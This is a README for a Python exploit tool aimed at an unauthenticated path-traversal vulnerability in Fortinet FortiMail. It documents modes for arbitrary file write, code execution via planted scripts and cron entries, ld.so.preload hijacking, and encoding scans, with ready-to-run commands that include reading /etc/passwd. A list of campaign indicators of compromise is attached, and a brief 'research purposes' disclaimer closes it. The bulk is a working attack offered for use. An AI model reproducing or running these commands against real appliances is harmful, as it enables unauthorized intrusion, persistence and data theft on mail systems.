
Python exploit for CVE-2026-104286 in FortiMail: unauthenticated path-traversal file write with read-back verification, plus script/cron code execution and IoC checks.
File: fortimail_cve_2026_104286.py (single file, Python 3.6+ stdlib only, fully remote over HTTP/HTTPS)
| Field | Value |
|---|---|
| CVE | CVE-2026-104286 |
| Product | Fortinet FortiMail (physical and virtual appliances) |
| Type | Path Traversal (CWE-22) + improper null-byte neutralization (CWE-158) |
| CVSS 3.1 | 9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Authentication | none required |
| Attack surface | Identity-Based Encryption (IBE) request handler on the management interface |
| Status | Actively exploited; CISA KEV since 2026-10-01 (US federal deadline 2026-10-04) |
| Advisory | Fortinet PSIRT FG-IR-26-175 (2026-10-01) |
| Affected | 7.2.0–7.2.9 (no fix in branch — migrate to 7.4+), 7.4.0–7.4.8, 7.6.0–7.6.6, 8.0.0–8.0.1 |
| Fixed in | 7.4.9+, 7.6.7+, 8.0.2+ |
| Vendor workaround | Disable IBE: config system encryption ibe / set status disable / end |
A single unauthenticated HTTP/HTTPS request whose URI embeds a traversal sequence after a null byte (%00) causes the appliance to write an attacker-controlled file to an arbitrary path on its filesystem. Writes into loader-controlled or executable locations yield code execution. The confirmed in-the-wild campaign used exactly this: replaced /data/lib/liblog.so, created /data/etc/ld.so.preload and /data/bin/webconsole, planted cron entries referencing /migadmin, and created archive account archive234.
The tool is a configurable URI/strategy engine:
{IBE-prefix}/{decoy}.{ext}%00/<traversal>/<target-path>, with the traversal encoded as %2e%2e (the shape observed in campaign IoCs). Alternate encodings: literal ../, %252e (double-encoded), %2f, %2500.data=, content=); empty write (GET) also supported.| Mode | Purpose |
|---|---|
probe | Reachability, version banner, candidate IBE-prefix liveness |
write | Core: arbitrary file write (--target + content) with automatic shape search and verification |
exec | Code execution: payload script (/data/bin/exploit_104286.sh) + cron entry (/etc/crontab) — the technique observed in the campaign |
verify | Read-back verification of an already-written file (SHA-256 comparison) |
scan | Enumerate URI-shape/encoding candidates against a scratch path; surface anomalous (non-404) responses |
cleanup | Neutralize an exec preset (best effort) |
selftest | End-to-end test against a built-in mock server (no target system needed) |
# 0) Self-test the tool (no target system required)
python3 fortimail_cve_2026_104286.py selftest
# 1) Recon: reachability, version banner, which prefixes are live
python3 fortimail_cve_2026_104286.py probe --host mail.example.com
# 2) Arbitrary file write (the core primitive)
python3 fortimail_cve_2026_104286.py write --host mail.example.com \
--target /data/etc/ld.so.preload --content '/data/lib/liblog.so'
# content from a local file:
python3 fortimail_cve_2026_104286.py write --host mail.example.com \
--target /data/bin/payload.so --content-file payload.so
# 3) Code execution: script + cron (runs every minute)
python3 fortimail_cve_2026_104286.py exec --host mail.example.com \
--cmd 'id > /data/tmp/out.txt 2>&1'
# command from stdin:
echo 'cat /etc/passwd > /data/tmp/out.txt' | python3 fortimail_cve_2026_104286.py exec --host mail.example.com
# 4) Verify a previous write
python3 fortimail_cve_2026_104286.py verify --host mail.example.com \
--target /data/etc/ld.so.preload --content '/data/lib/liblog.so'
# 5) Discover the working shape on a specific build (if auto mode did not confirm)
python3 fortimail_cve_2026_104286.py scan --host mail.example.com --json
# 6) Dry rehearsal: print exact requests without sending
python3 fortimail_cve_2026_104286.py write --host mail.example.com --dry-run \
--target /data/etc/ld.so.preload --content test
# 7) Remove exec-preset traces
python3 fortimail_cve_2026_104286.py cleanup --host mail.example.com
Also available: --proxy host:port (or HTTPS_PROXY env), --insecure (skip TLS verification), --scheme http, --port, --timeout, --json (machine-readable output), --max-attempts, --base/--enc/--null/--ext (URI-shape overrides), --dry-run.
Exit codes: 0 — success/confirmed, 2 — attempts made but not confirmed by read-back.
exec preset (script + cron) mirrors the campaign-observed technique, but the exact cron format may differ per build; where it does not apply, use write with your own target path/content./etc/crontab, configs), the tool attempts to read current content and preserves it./data/etc/ld.so.preload, /data/bin/webconsole, replaced /data/lib/liblog.so, /data/bin/mailservice, /bin/smit, /data/etc/httpd.conf, /data/migadmin.tar.gz/migadmin; account archive234 (remote archive)79.141.169.187, 45.129.0.192%2e%2e, %252e, %00, %2500Invalid Base64 Encoding at pos 0, User admin logged out from (null)The tool is provided for research purposes. Perform writes/execution on production systems only under your change-management policy; capture system state (logs, hashes of critical files) before exploiting.